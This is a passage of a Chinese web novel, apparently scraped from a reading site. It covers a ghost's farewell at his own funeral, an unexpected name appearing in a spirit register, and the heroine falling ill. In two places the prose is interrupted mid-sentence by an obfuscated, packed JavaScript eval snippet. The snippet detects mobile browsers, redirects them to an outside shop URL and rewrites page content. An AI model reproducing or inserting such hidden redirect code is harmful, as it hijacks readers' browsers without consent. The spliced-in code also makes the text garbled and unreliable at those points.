“很简单,因为这个任务太难,所以你说的那个掌簿和我都不会贸然接下,这也会给春婶带来更深的绝望,你也知道,希望有时就意味着绝望。但是,我认同她所谓的公平机会,所以她让你来这里找掌簿,而我也会帮你们。” 转变来得太快,前一秒郭强还在为被戏弄而愠怒,下一秒就被幸福冲昏了头脑,他嗫嚅道:“谢谢……谢谢你,那我……你,你是要和我一起回去吗?见她?” 女人将手肘撑在膝盖上,轻轻摇头,“想想还是算了,我毕竟也没接下,要是有一天真能胜利会师再说吧。” 郭强深深鞠了个躬,“很抱歉我闯进你家,冒犯到你。” “算啦,该教训的我都教训过了,反正你也不会有下次。回家吧,不用再继续跑了,你这样的效率还没有我打通电话高,土方村……天亮都未必能赶到。” 听到她这么说,郭强才小声地发出惊呼,自己完全忘记了这茬,按照他的脚程,要花大半天的时间,或许他可以坐火车,但火车天亮才发车,他等不及了…… “喂,从门走,不送。” 郭强听话地穿门而出,从她的私人空间里消失。 她若有所思地转着椅子,直到看见自己已经回到了游戏大厅,收到几条好友申请,是些不堪入目的谩骂,哦,她刚才进队后没操作,坑队友了。她转转僵硬的脖子,将最后一口可乐一饮而尽,今晚到这就结束吧。 郭强的夜晚才刚刚开始,他按照公路牌的指示跟随车辆一路飞奔。 脚下生风,耳边也是呼啸而过的风,他感觉自己就乘着一股风,而后变成一阵风。这个世界对他敞开了怀抱,没有任何东西会阻碍他的奔跑,他从所有东西身旁、其中穿过。 他追着月亮跑,追着打卷的叶片儿,追着初升的太阳,追着目的地是夫伊县的24路公交车,奔着土方村的土楼,奔着见奶奶的最后一面。 他会在那里,真正地变成一阵风、一粒尘,他会回到万山间。 46. 再见,朋友 郭奶奶守了整整一夜的灵,早上喝了两口稀粥后继续守,按照习俗,由近亲属守灵,郭强的父亲不方便,就由郭奶奶一个人守着。 张祎宁名义上是郭强的朋友,但郭奶奶拿她当贵客看待,不让张祎宁上手操劳,全程都由她自己和村里其他户人家的女人们一起操办。 今日的流程是亲友吊唁,明日会出殡、安葬,还有顿回丧饭,这大概就是张祎宁理解的“吃席”,之后的环节她就不太清楚了,烧七的日子她也不确定。 人情联结是维系一个村庄生死存亡的纽带。来吊唁郭强的人很多,听闻还有邻村人,上了年岁的老人都要上前揽过郭奶奶,握着郭奶奶的手一齐痛哭,她们不表达安慰,不说以后,只是哭,好像彻彻底底哭过一场,掏空全部地哭过一场之后才能迎来新生。 张祎宁和刘元詹站在角落里,静静地看着黑白肃穆的灵堂和往来不断的人群,他们中有的人应是正要下地或刚从地里回来,先在门槛上蹭蹭土,将篓子和工具摆在墙角,再无缝进入情绪,垂目叹气。 张祎宁觉得自己因为不够悲伤而无法融入这个氛围里,悲伤不行,得肝肠寸断、悲痛欲绝。 死去的是村里一个大好青年,是个懂事孝顺的好孩子,是这个村里未来的一份子。今天,他走了,因意外离去,留下他年事已高的奶奶和卧病在床的父亲,这不只是一个家庭的损失,也是村里的损失,更是这个社会的损失…… 她听着悼词,试图想象郭强小时候在村里生活的样子。 临近中午,人逐渐变少,再悲伤也得吃饭,下午接着哭就是了。 她站得腿都麻了,稍微弯下腰捶捶腿,重心都倾向右脚,刺麻从脚心向上扩散,一下没站稳,栽了过去。刘元詹虽然眼疾手快地伸出了双手,还将整个身子靠过来当成肉垫,但张祎宁还是稳稳当当地落了地。 “哎唷——” 真受不了,每到这种时候,刘元詹都会伸出援助之手,而自己也会下意识接过来。结果就是,一场空,两个人都惊讶又了然地看着彼此,然后尴尬地当作无事发生。 “没事吧。” 重叠的两声从头顶上方传来,张祎宁抬起头,看见这场葬礼的主人——郭强现身了。 她利落地起身,拍拍裤腿,讶然道:“你今天就回来了?” 他表现得十分兴奋,与这葬礼格格不入,比张祎宁更甚,“对!我回来了!” 他迫不及待地将自己遇见那个女人的事情和她的答复全部转达给张祎宁,这个消息足够激动人心,他奔跑了几个小时都没完全平复。 张祎宁也抑制不住欢欣,但她还是体面地收起笑容,将自己的身影藏进阴影里,小声问道:“她叫什么名字?” 郭强的表情突然僵在脸上,“我……我忘记问了!” “没事,没关系,就像她说的,胜利会师那一天之前都是空谈。” 她探头看了眼郭奶奶,小声说道:“你奶奶守了整整一夜,早上又来了好几拨人,她一直在哭,不知道身体能不能受的住。” 郭强也看向奶奶,眼神变得迷离,“我奶她……参加过村里很多人的白事,有一次,她陪着哭了七天,哭完以后继续下地干活,她是女强人,事业型女强人。” “看出来了……但这是你的葬礼,还是不一样的吧。” “你……你能再给我最后两个小时吗?两个小时以后会有人继续来吊唁,我想陪着她过完这无人问津的最后两小时。” 张祎宁扬起一抹笑,“没关系,你可以再陪她一天,我明天走也是可以的。” 郭强摇摇头,他第一次表现出坚定的拒绝,“不用,只要两个小时,你还能赶上晚班机,两个小时足够了,托你的福,我已经多活了好几天。” 张祎宁看着他面带微笑走向郭奶奶,在她的身旁坐下,上身歪倒,从张祎宁的角度看过去,他的头靠在奶奶的肩膀上。 她不由自主地打开手机摄像头,咔擦一声,时间定格。 在这两个小时的空当里,她收拾好了自己的行李,将提前从郭强银行卡里取出的钱全部都藏在了郭奶奶的枕头底下,郭强父亲闭着眼睛,发出均匀的呼吸声,张祎宁轻手轻脚地离开。而后,她再次来到那间棚屋附近,隔着一段距离,春婶仍然蹲坐在那里,不论风吹雨打,不知时间变迁。 希望那个不知道名字的掌簿能给春婶带来好运吧。 她第一次觉得时间飞逝,两个小时眨两次眼睛也就过去了。 张祎宁先向郭奶奶辞别,去得匆匆,连送别郭强的仪式都不能完整地参加完,郭奶奶没有挽留,只是一个劲儿地道谢。她早已准备好两个大包裹,塑料袋装的是明天吃完回丧饭的回礼,里面是毛巾和馒头,张祎宁也亲手装了一部分,郭奶奶说布包裹里装的都是自家种的五谷杂粮,张祎宁收下了这沉甸甸的心意。 郭奶奶坚持要将她送出村口,但登门的人逐渐变多,不断有人喊着“富山娘”,张祎宁将她带回灵堂,交还给众人,趁她不注意,抱着沉重的包裹从侧门溜走。 “我替我奶送你到村口。”张祎宁不好再推却,点头同意。 这一路上,她不断地遇见陌生的面孔,他们不认识张祎宁,与她擦肩而过,她转头看向他们的背影,那是通往郭强家的路。 她突然想起林瑜茜的那个问题。“郭强,看见这么多人来送你,葬礼说得上是很热闹,你会开心安慰一点吗?” 他腼腆地回答:“不瞒你说,这些人我不认识,都是冲着我奶、我爸或者其他人的面子来的。所以,其实也和我没太大关系。” 他继续说道:“可能人死了就是会这样吧,没有办法否认你和这个世界的脱节,嘎嘣一下断掉了,我走在这条路上也会有种恍惚的感觉,刚才,我在我奶身边看见她盯着我的黑白画像和骨灰掉眼泪,那一瞬间,我突然不知道哪个才是真正的我了,是现在这个样子的还是那一罐灰。”他看向刘元詹,意有所指,“呆得越久,这种游离感就越难忽视,春婶也许就是因为这个变成现在痴傻的模样。” 路会走到尽头的,尤其是已经设下了目的地。 “到了。” “嗯,我准备好了。” 张祎宁例行公事般地发问:“你还有什么话要嘱托吗?” 郭强憨厚地笑着,挠挠后脑勺,“我知道这些话已经说了很多遍,但每一句都是真心的,谢谢你,张祎宁,这段时间真的是麻烦你了,还有就是,”他面向刘元詹,衷心地送上祝福,“希望你有一天也能得偿所愿。” “谢谢。”刘元詹和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765122|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭强虚空握了握手。 他和郭强没有过多的交谈,大部分时间都是张祎宁在和郭强对话,他们只在两次飞机上被迫站在一块,紧紧贴在一起,因为机舱的空间实在狭小,又有人不断地走来走去,刘元詹每次都得避开,却又因着张祎宁的恐吓,时刻留意小心不要掉下飞机,所以他只能紧贴着郭强。好在,郭强也不是善谈之人。 张祎宁将布包裹放在自己的脚背上顶着,空出手来从包里翻出阴身簿,她又问道:“郭奶奶叫什么名字啊?” 郭强愣了一下,“我……不知道,她从来没提过,大家又都叫她‘富山娘’……” “好吧。” 她就是突然想起在郭强去找掌簿之前,自己问过他春婶的全名,知道全名会更便利些,但郭强并不清楚,然后另一位不知道名讳的掌簿听了郭强那个从头到尾没有出现过自己名字的故事,也萌生出了相帮之意,三位没有名字……不,现在是四位了,四位没有名字的女人。 张祎宁如鲠在喉。 她沉默地翻开阴身簿,果然在其上看见郭强的基本信息,清清喉咙后,她说道:“既然准备好了,那我们就开始吧,过程会很快,你不会感到痛苦的,放心。” 郭强整肃表情,应道:“好。” “郭强。” “是。” “再见了,我的朋友。” 郭强听到她的话,绽开灿烂的笑容,这不是标准的露出八颗牙齿的笑容,绝对不止八颗牙齿了。 “再见,朋……” 一个瞬间有时可以很长久,在对视中回顾完一生,有时又非常短暂,连话都来不及说完,毕竟它只是一个眨眼的瞬间,郭强消失在眼前。 排行榜出现又消失,张祎宁都恍若未见,她失神地看着阴身簿,翻了又翻,在最后一页上停驻,指尖轻轻划过。 “怎么了?”刘元詹注意到张祎宁停顿的动作和突变的表情。 他看见张祎宁的目光像是粘连在阴身簿上,口中喃喃:“刘元詹,出大事了……” 刘元詹三步并作两步地上前,看向她手里的阴身簿,脸色微变,他俩谁都无法解释的诡异现象出现了—— 写着郭强信息的下一页,出现了余倾山的名字。 当她打开阴身簿的时候,最后一页是郭强,可当她念完郭强的名字,也就意味着完成了郭强的勾魂仪式后,下一页就开始着墨显色出【余倾山】。 就在那一刻,她突然颠覆了以前的想法。她从前觉得阴身簿只是一个工具,她遇见谁想要帮谁的忙是由自己自主选择,阴身簿只是在所有事情了结之后的一个象征仪式中的工具,虽必不可少,却也只是工具,可当它违背自己的意志,突然出现余倾山之名时,她恍惚看见自己的命运也早已在纸上落定,只待时间成熟显出颜色。 自由意志,我究竟还拥有这样的权利吗? 张祎宁的思绪像在油锅里翻跳,跳起来的时候获得片刻喘息,但随即便是更灼热的痛感,她在两种念头间反复横跳——阴身簿出问题了、余倾山出问题了。 她需要马上赶回庆林,当面将这件事告诉杜文新和老金,因为不出意外的话,余倾山此刻理应关在他们那个所谓的监狱里。 “嘟嘟——”绿外套的车如约而至。 47. 阴身簿的规则 张祎宁紧攥着阴身簿,时不时翻开看一眼有没有新变化,好消息是没有再出现新的名字,坏消息是余倾山的名字稳稳扒在上面,没有消失迹象。 接近十点,出租车在街口停下,她怀抱包裹朝着1980taste飞奔。 意想不到的状况一环接一环,1980taste大门紧锁,里面也没透出一点光,她用力敲门,喊杜文新和老金的名字,无人应答。 “打烊了吗?才十点,不可能啊。”张祎宁气喘吁吁地靠坐在台阶上。 她本想着这件事情没法在电话里说清楚,她得看着两人的表情语言,还希望这次能亲眼看见“灵狱”的样子。但没事前通气的意外这便发生了。 无奈,她拨打了杜文新的电话,无人接听,连着拨了三次,都是无人接听。 她只能将电话拨给老金,但传来的是同样的机械女声。 “都不接电话?不会真出事了吧……” 张祎宁看了一眼紧闭的大门,她在思考是否能够破门而入,如果记得没错,那个“灵狱”应该是在这间屋子里,虽然她在这里呆了许多个夜晚,也没找到有什么密闭空间。 她试探道:“刘元詹,你试试看现在能不能穿墙进去?” 刘元詹若有所思,但还是同意了,他先是伸出手在门上试探了一番,依旧有层似薄膜般的阻隔,他又后退两步,侧身前冲,这回是真实感受到身体撞在坚硬的门上,被拒之门外。 他无奈地朝张祎宁摇头,张祎宁也从他的动作里看出这个想法的失败,她继续尝试拨通两人的电话。 尝试过几次仍是无人应答后,她刚巧收到灰灰人发来的微信,是今日成果汇报,一如既往的——无事发生。 灰灰人,他有没有办法?他懂的比自己多,会不会知道怎么解决?但是,恶鬼以外的领域他涉足吗? “死马当活马医,他总比我懂吧,而且有钱能使鬼推磨……”张祎宁打算试试,她正要拉起语音通话,手机开始震动,屏幕上面出现来电,是老金! “喂!老金!” “怎么了?”老金沉稳的声线传来,但混杂了一丝沙哑。 “你们怎么了?我打杜文新的电话也没人接,我这边有事情要和你们商量!大事!”张祎宁激动地站起身。 但对方并没有被她的情绪感染,平静回答:“我们晚上有事,你那边是什么事?” 张祎宁感到喉咙似被无形的力量扼住,她噎道:“和余倾山有关?” “不是。” 虽不知是好消息还是坏消息,但她听到这个回答后无疑松了口气。 “你们解决完了吗,能不能现在来趟店里?我就在店门口,有件事需要确认,而且也许需要进店确认。”她又回头看了眼漆黑的门店。 老金沉默了一会儿,才说道:“你再等我二十分钟。” “没问题。” 电话□□脆地挂断,张祎宁松了口气,能在今晚碰头解决真是太好了,不然今晚就又不用睡了,她已经有一段时间没睡过好觉,本以为今天了却一桩,能得一晚安眠呢,谁知天有不测风云…… 刘元詹靠坐过来,轻声道:“你到隔壁店铺等待吧,夜里风寒。” 不说还没感觉,被刘元詹一说,张祎宁回过魂来感受到夜里凉风的侵袭,已经是初冬了,她的双手露在外面,始终紧握阴身簿,像个大冰块。 她将布包裹往怀里拥了拥,半张脸埋进去,歪着头看他,“很快,老金说二十分钟就到了,你别提醒我,不想就不冷。” “而且,风是从这边来的,你坐这我好像感觉没什么风了,刘元詹你还是有点用的嘛,帮我挡风了。” 刘元詹直起身,挡住她的整个侧面,笑问道:“真的吗?” 当然是假的。 她将脸埋得更低了,闷闷的声音传来,“骗你干嘛。” 张祎宁没有看时间,只是静静地等着,如果关注时间,五分钟都会流逝得格外漫长,怎么等也等不到。不知是二十分钟还是多久,老金姗姗来迟。还是刘元詹叫醒的她,她竟然坐在寒风里睡着了。 睡过一觉,情绪平复下来,她抬起头,向着来人淡淡打招呼,“老金。” “先进去吧,外面冷。” 张祎宁起身,让出一条路。 老金不急着问她所为何事,而是先给她倒了杯热水,待她喝过一口后才问道:“出什么事了?” 她没和老金单独聊过,只记得有一次想找老金帮忙,却被他直接打断,他说这些事不归他管,所以她现下又有些犹豫,嗫嚅道:“杜……杜文新呢?他不来吗?” “嗯,他最近几天都有事,你跟我说吧。” 既如此,她放下水杯,将阴身簿摆在桌面上,翻到那页,什么话都没说。 她静静地看着老金的反应,但她本来就未曾在老金面上见过什么表情,此刻也是,他面无表情地开口:“这是什么时候出现的?” “今天下午。我刚给郭强勾完魂,同一时间,就出现了。” 他的目光未离开那个名字,思忖道:“同一时间吗?郭强的执念达成也是在今天下午?” 张祎宁灵光一闪,补充道:“不是的,郭强说他骗了我,他的心愿是见到奶奶,那么早在我第一次带着他回到故乡见到他奶奶那一面,其实就已经完成了,只是这些天我并没有打开过阴身簿看。” 老金将目光移开,“嗯,那就不好推断了,中间隔了挺长时间。” 张祎宁还是不太理解,好奇地问道:“可是郭强勾魂和余倾山的名字虽然一前一后,但几乎同时出现,这是怎么回事?这也太巧了吧,都赶在那个当下?” 老金将两手背在脑后,微微仰头,耐心地解释:“阴身簿有它自己的规则,其中一条就是当掌簿完成一个委托,阴身簿上会显示应渡之人的名字,显示名字与勾魂又是两个步骤,有先后关系,这是你知道的。那么,显示名字到完成勾魂之间的这段真空期便是限制,你只能做完成勾魂这件事,也就意味着如果你在帮郭强实现执念之后、完成勾魂之前,就算又帮助了其他鬼实现心愿,他们的名字也不会出现在阴身簿上,被留置了,直到你帮郭强完成勾魂仪式,被留置的名字会同时出现,进入新的阶段。” 他捏捏眉心,显出疲态,但还是继续解释:“所以,余倾山就相当于那个被暂时留置的名字,他就是在郭强见到他奶奶直到今天下午这段时间出现的,我才会说时间太长,无法追溯。” 张祎宁边听边不自觉捏紧水杯,新知识的浪潮又迎面而来,她被兜头浇下,但仍然努力抹掉模糊了眼睛的水渍,再次发问:“这个我听明白了,大意就是阴身簿上一旦出现了名字,就得先把这个名字消掉,不然就不能进入下一个。但是!为什么是我的阴身簿上出现了他的名字?我根本没接他的活呀!” “当你听完他的委托内容,他和你的阴身簿就已经建立起联系,在他向另一个掌簿再次说明之后,这份联系才会转移到那人的阴身簿上。余倾山的最后一位倾听者是你。” 张祎宁暗骂晦气,又让余倾山得意了,他真是从始至终贯彻要给她添堵的初衷。 这时,刘元詹突然说道:“不是她,余倾山的最后一站是这里。” 对啊!张祎宁清醒过来,目光如炬。 老金的的面部肌肉抽动了一下,这点微小的变化很自然地落入直盯着他的刘元詹和张祎宁眼里。但他很快恢复如常,“我们没有听他的委托,直接关进灵狱了。” 张祎宁皱起眉头,不可置信地反问:“什么?你们在没有听他的委托的前提下就把他关起来了?这……” 这难道不是滥用私刑?他们能随心所欲地把任何想关的鬼都关进去吗? 这也太……离谱了。 这不只关乎余倾山了,张祎宁微不可察地环视了一圈,不知道阎王有没有听到老金方才那番话,但是她突然想到灵狱这件事她事先询问过阎王的,杜文新以此为要挟,可见阎王是知晓的,怎会…… 老金未作回答,而是问道:“余倾山的委托是什么?” 这个举动被张祎宁视为心虚,但她听到这个问题的片刻浑身似有电流流过,她在看到余倾山名字出现的一刹那便冒出了念头,但她遏止了,并将它放入禁止触碰的禁区。 余倾山的委托——“殉情。” 说完这个词语,张祎宁咬住后槽牙。 “嗯,这是被修饰后的,简单来说,他希望他女朋友去死,而阴身簿上出现了他的名字代表着他的愿望实现了,他的女朋友不管是出于什么原因,去世了。” “去死”,这两个字在张祎宁的脑海里不断回荡。 “那……”她紧张地连咽唾沫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791316|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连续咽了两下后,窒息感涌上喉头,她终于放弃了,“那现在是要……” 老金认真地分析局势:“他目前在灵狱,那里是被隔绝的天地,就算他的名字出现在阴身簿上你也是无法勾魂的,必须先把他放出来,放出来之后你马上勾魂就行,我们可从旁协助,防止意外发生。” “意外……不是,我的意思是那个……他女朋友呢?” 老金有问必答:“你可以看作两件独立的事,他女朋友去世,是否成为鬼尚未可知,向好看是她直接下黄泉了。就算成了鬼,她也有自己的执念,完成她的执念便是了,这个委托都不一定能到得了你手上,所以你只需要解决余倾山就行,不将他解决掉,你往后无法为别人勾魂,是完成不了KPI的。” 老金说得有道理,只是……帮余倾山勾魂吗?勾完魂他就可以直接去地府排队转生。 张祎宁咬牙切齿:“真是太便宜他了……还想再关他几百年呢。” 老金已经揉了自己的眉心五六下,张祎宁又接二连三抛出几个问题,他一一作答,只是最后这一个。 “万一……我是说万一,他女朋友真成鬼了,而且她的执念和他有关呢?比如再见他一面、杀他一次、骂他一句、要他跪下道歉之类的呢?也不是没可能嘛,谁叫他做了那样的事。我要是给余倾山勾魂了,那他女朋友不就再也没办法完成执念了?” 老金如实说:“我不否认这个猜想存在的合理性。那么,你想如何做?这毕竟是你的事。” 别啊,别是我的事……我也不知道…… 她叹气道:“我也没想好……不然,再看看吧,也不急于一时,我这段时间依然可以找新的委托帮他们完成对吧?在完成之前,我就会把余倾山勾掉。” 老金点头,“可以。” 灯光一一暗下,张祎宁看着老金锁上大门,由衷说道:“老金,还是你好。我真的好久没有这种醍醐灌顶的感觉了,你又耐心,声音又温柔,你说的话我都能听进去。” 虽然老金背对着她,但她从语气听出了一点羞赧,“没有,我只是随口一说。小杜他……他刀子嘴豆腐心。” 张祎宁撇撇嘴,“霉豆腐吗还是臭豆腐?” 老金发出一声低不可闻的轻笑,旋即就变回古板的样子。 张祎宁懊恼,这稀世名场面自己竟然没有亲眼目睹! * 老金从街头走至巷尾,这一路上,路沿两旁的摊子已空了半数,还有的也在拖拖拉拉地收拾了,周日晚上来客不多,没必要在冷风中继续吆喝。 他来到一处铁门前,插入钥匙,转开,血腥扑鼻,半个小时了这味道还是没散去。 杜文新正趴在沙发上看电视,是足球比赛,角落里小小的国旗标志和英文简写,老金认不得。他嗅到酒精味,问道:“怎么不用碘伏?” 杜文新的眼睛像粘在电视上,一丝不苟,“会染到衣服上,不喜欢。” “包上纱布就行了。” 他掀开杜文新的上衣,看见背后的伤口已经被妥善处理过,也缠上了绷带。 杜文新仰头看向他,笑道:“不错吧这手法。” “还行。” “张祎宁急吼吼的又惹什么麻烦了?” 老金起身将空调的温度调高,杜文新大喊抗议:“我热!” “等感觉到冷已经感冒了。” 老金又去冰箱里翻找食材,将今晚和张祎宁的对话一一转述给杜文新。 “我说她天赋异禀还真押对了。她还要等什么?夜长梦多的道理不懂吗,你等着吧,我感觉又要出事。” 老金没有发表看法,他淡淡道:“她犹豫,你就是冒进,她起码没有拿任何人的生命去赌去搏。” 杜文新回嘴:“我拿谁的生命去赌了?” 老金回过身,蹙眉看向杜文新,这一锐利的目光让杜文新老老实实地重新躺好。 “任何人,也包括你自己。你要是死了,什么都白费。” 杜文新以只有自己能听见的音量喃喃道:“不白费,没有一次是白费的。” 转瞬,他又重整旗鼓,大声向老金喊道:“不吃白粥不吃汤面!我要吃手抓饼!加蛋加肠!” “滚。” “我是伤患!我要吃点好的补补!” 老金忍无可忍,“闭嘴。” 48. 初雪 女人坐在长椅上发呆,双目无神,她的左手内侧有伤,此刻已经被用纱布裹上。 张祎宁就站在不远处的角落里看向她,她低眉垂目,对张祎宁肆无忌惮探究的眼神毫无觉察,突然,她生硬地抬起头,目光精准地抓住了张祎宁,不偏不倚。 张祎宁瞬间感觉脖颈被一只细腕攫住,那双眼睛近在咫尺,愤怒、不甘与审视。 她大口喘气,惊醒过来。 自从当上掌簿后,睡个安稳觉也变得奢侈,她自认不是胆小之辈,死过一遭的人了,竟还总是被这些神叨之事吓到惊梦。 郭强和春婶的事告一段落,小小的执念她放弃了,至于余倾山,她的手也伸不到灵狱去,董昊那里有灰灰人看护,自己也算卸下不少包袱,她回忆着这些事情的收尾,呼吸逐渐平复。早在那女子抬起头和自己目光相撞那刻她就应该醒来,这就是一场噩梦,她确信自己从未和那女子对视上。 又是那种感觉,前一晚噩梦缠身,醒来后就像得了重感冒,全身疲软,有所不同的是,这次自己的身体在发热,骨头也散架似的疼。 没关系,一碗老金的灵丹妙药下肚,她就能满血复活。 张祎宁不在意地掀开被子做上班前的准备,但罗汉床上没有刘元詹的身影,她迟钝地四下张望,才在阳台上看见他。 屈指轻敲阳台门,刘元詹转身看向一门之隔的她,露出惊喜的笑,侧身让出最佳视角,张祎宁才看见那白茫茫的一片,空中还在飘白,冬天的第一场雪来了。 她情不自禁地推开门,以一声有力的阿嚏迎接初晨的风雪。 * “出来。”董昊站定在原地,回身对着巷子深处喊道。 一秒、两秒、三秒。无人现身。 他随之抓起地上的碎雪团成一个小雪球往身后第二条分岔口的拐角处砸去。雪球在地上摔裂,碎雪飞溅,那个躲在暗处的人还是没有反应。 他忍无可忍,讥讽道:“烦不烦,改行当保姆了?” “什么保姆,是保镖~” 声音从自己的后方传来,他不可置信地循声望去,不出意料地瞥见那抹灰色身影。 他是什么时候从自己的后面跑到前面去的?董昊很快按下疑虑,面无表情地盯着他。 冯宇抖了抖兜帽上的雪,笑着看向董昊:“我最讨厌下雪天,灰色在白色里还是太扎眼了,对吧?” 董昊不答反问:“跟着我几天了?” “从那晚到现在。” 冯宇看见董昊的手隐蔽地摸向口袋,嗤笑道:“小鬼你真逗。”话音未落,他已欺身向前,董昊只一个眨眼的工夫,面前就被一大片灰遮盖视野,而一张冰冷的符正贴在自己脑门上。 “你怎么还敢把符放在口袋里呢?这种保命的家伙得时刻抓在手上懂吗?” 冯宇说完就放开了董昊,一个闪身又回到先前的位置,双脚分毫不差地重新盖上原来的脚印。像一切从未发生过。 只他的目光流连在与董昊之间多出的一双雪地鞋印上,惋惜道:“唉……我真的讨厌下雪。” 董昊冷眼看完他这炫技的一套连招,内心毫无波澜,平静地从口袋里摸出暖宝宝。 “跟着我干嘛?” “刚刚不是说了嘛,做你保镖啊。” “我没请你。” “当然是有人请我了。” 董昊蹙起眉头,眼神里充斥着不解,他能猜到雇佣之人是那天那个女人,给自己红薯、带他去见刘爷爷、还给他送药的那个女人,但他不明白的是为什么。他知道她是掌簿,她当时在执行她的任务,而自己也在完成本该做的事,他们只是不小心产生了交集。在事情解决的那晚就该桥归桥路归路,但她却无来由地对自己充满歉意,又是送药又是雇人。 他有说过怪罪的话吗?他记不清了。 “我不需要。”董昊盯着对方的眼睛,回以明确的拒绝。 冯宇无所谓地耸肩,“嗯嗯。” “别再跟着我。” “行啊,反正钱我可是照拿的。” 自己跟在他身边都震慑得那些恶鬼不敢靠近了,这可非他所愿,冰天雪地的上蹿下跳就为了赚1500!?现在这样也好,留个口子给那些饿鬼,然后……收割鬼头美美换3000。 董昊警惕地看着那个灰色的背影懒洋洋地消失在视线范围,才从口袋里掏出那沓符纸。他究竟是怎么做到的?自己完全没有留意到他的符放在哪,“保命的家伙得时刻抓在手上”,他看了看自己的手,时刻抓在手上,如何避人耳目? * 张祎宁没有哪天如今天这般无比想推开1980taste的大门,然后看到那两张熟悉的脸。 没有坐地铁,她也奢侈地体验了一把下班晚高峰打车的盛况。在这个城市,从夜里五点到八点,怎么不算一波晚高峰呢?然后从九点后再迎来第二波小高峰。 花费了和坐地铁同等的时间,却是坐地铁的十倍价格后,她终于瞥见已亮灯的招牌。 “杜文新,老金!灵丹妙药!” 推开那扇比平时更觉厚重的门,张祎宁茫然地看见只有刘元詹坐在角落发呆,依然不见杜文新,“他们呢?” 刘元詹走上前,指了指厨房,“只有他在。” “你好点了吗?” 张祎宁的鼻子和人中红红的,是被纸巾数次大力揩拭后留下的痕迹,眼睛一圈也是红的,用沉闷的鼻音答道:“没事,马上就能满血复活。” 杜文新不在没关系,老金在就行。 她礼貌地敲了敲厨房门,得到允许后推门而进,刻意先咳了两声后才虚弱地说:“老金,你能再给我做一杯那个灵丹妙药吗?凉白开。” 老金叼着根黄瓜尾走近,眯起眼睛细细打量了她一下,不解道:“你没事啊,为什么要喝?” 没事?张祎宁摸摸自己的额头,还发烫得厉害,“怎么会?我觉得比上次还严重,上次只是好像感冒了,这次可是在发烧。” 老金神色微动,后撤一步,将黄瓜嚼碎,嘎嘣嘎嘣,含混着问:“你、你发烧了?” 她无力地点头,却不想被老金一把推出厨房外。 “这是餐厅后厨,生病了怎么可以进来。” “不好意思,我没想到这个,就是想找你来给我杯药。” 老金全然不复昨夜的耐心,板着张脸,“没有,那药治不了你,你得去医院看。” “不是……是这次太严重了吗?” 老金的话让张祎宁的脑袋嗡嗡作响。 他已经戴上了口罩,从储物柜里翻出消毒水,“”之,去医院看吧。我帮不了你。” 张祎宁不记得自己是怎么到的医院,怎么挂的急诊,只记得耳边一直有人不断跟自己说话,声音很熟悉,是刘元詹,但她一句也没回复。她只是在想自己未免过得也太辛苦了,那些坏事糟心事上赶着找上自己,就算它们不来,自己也会不知不觉地找上它们。 阎王不是说保她无虞吗?看来她和大领导对于这个词 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张祎宁看着这个年岁和自己差不了多少的实习医师尴尬地扯出个笑,听他开医嘱,然后去打点滴。 “是昨夜吹风?” 张祎宁困乏地点点头,却不经意间对上一双自责的眼,她撑起精神无所谓地说:“我也没想到,你挡了右边,还有前边、后边、左边的风夹击,唉,怎么没有四个刘元詹给我挡风呢?” 他皱起眉,后又忍俊不禁:“四个刘元詹吗?” “嗯,一个陪我打怪,一个陪我上班,一个陪我应付杜文新和老金,还有一个嘛,就陪我在家看电视好啦,你放心,我肯定偏心让你当在家看电视那个。” 他笑意盈盈,已不见郁色,“那我一人足矣,无需四个。” “我刚刚真以为自己要死了,结果只是发烧。” “无碍不好吗?” “好是好……”适才心里那番辗转的筹谋,虽无厘头,却也并非没有依据,只要在执行“有执念-变成女鬼”这件事上不出差错就行,“就是老金那几句话吓得我以为无药可治了呢。” “许是药不对症,他才有此言。” 嘟——嘟——手机消息振动。 【无事发生】 每日复制粘贴的信息准时到达,是冯宇。 张祎宁将手机放好,用围巾埋住下半张脸,靠在椅背上,金属的,不小心碰到就是被冰得缩回手。 “我好困,先眯一会,你帮我看着,上面那个吊瓶里的液体还剩一点底的时候叫醒我,好吗?” 刘元詹抬头看向吊瓶,里面的液体才刚下去一点,“嗯,我看着。” 她安心地闭上眼睛。 几年前网络上流传一种说法,将一个人去做一些事情做了感到孤独的分级排名,其中,一个人去医院属于较高程度的孤独。 张祎宁一个人生活了好几年,从来没将这个说法放在眼里,“感到孤独”这样的精神体验,当和现实选择挂上钩,就变成阳春白雪与下里巴人的组合。 会因为感到孤独就不一个人去医院了吗?不会的。当你真的感到这种体验会带来孤独,恰好说明别无他选,只能一个人去医院,只能孤独。 但这种说法提醒了她,当人生中再次出现一个能陪着自己一起去医院,能让她打点滴的时候安心睡觉,能驱散孤独的人,她要像挣扎求生那样用力,用力地留住对方。 49. 玫瑰与茉莉 张祎宁从神迹照拂的光辉中醒来,重新投入现代医学的怀抱。 一瓶点滴、三天的药丸,病菌即将在她体内被杀灭,只剩临门一枪,她今天就是来续上这一枪的。 “嘶,午休时间太短,只够打个屁股针,太疼了……” 其实这一针不打也行,除了咳嗽,已经没有任何不适,但外婆从小教导她咳嗽不容小视,今天一小咳,明天一大痨。 视线。有人在盯着自己看。 正前方。 她将手机举起,装作找信号,隐蔽地用余光扫去,不期然与一双女人的眼睛相遇。 是她! 这个场景似曾相识,在梦中。 恍惚间,张祎宁竟一瞬无法分辨哪个是梦境哪个是现实。 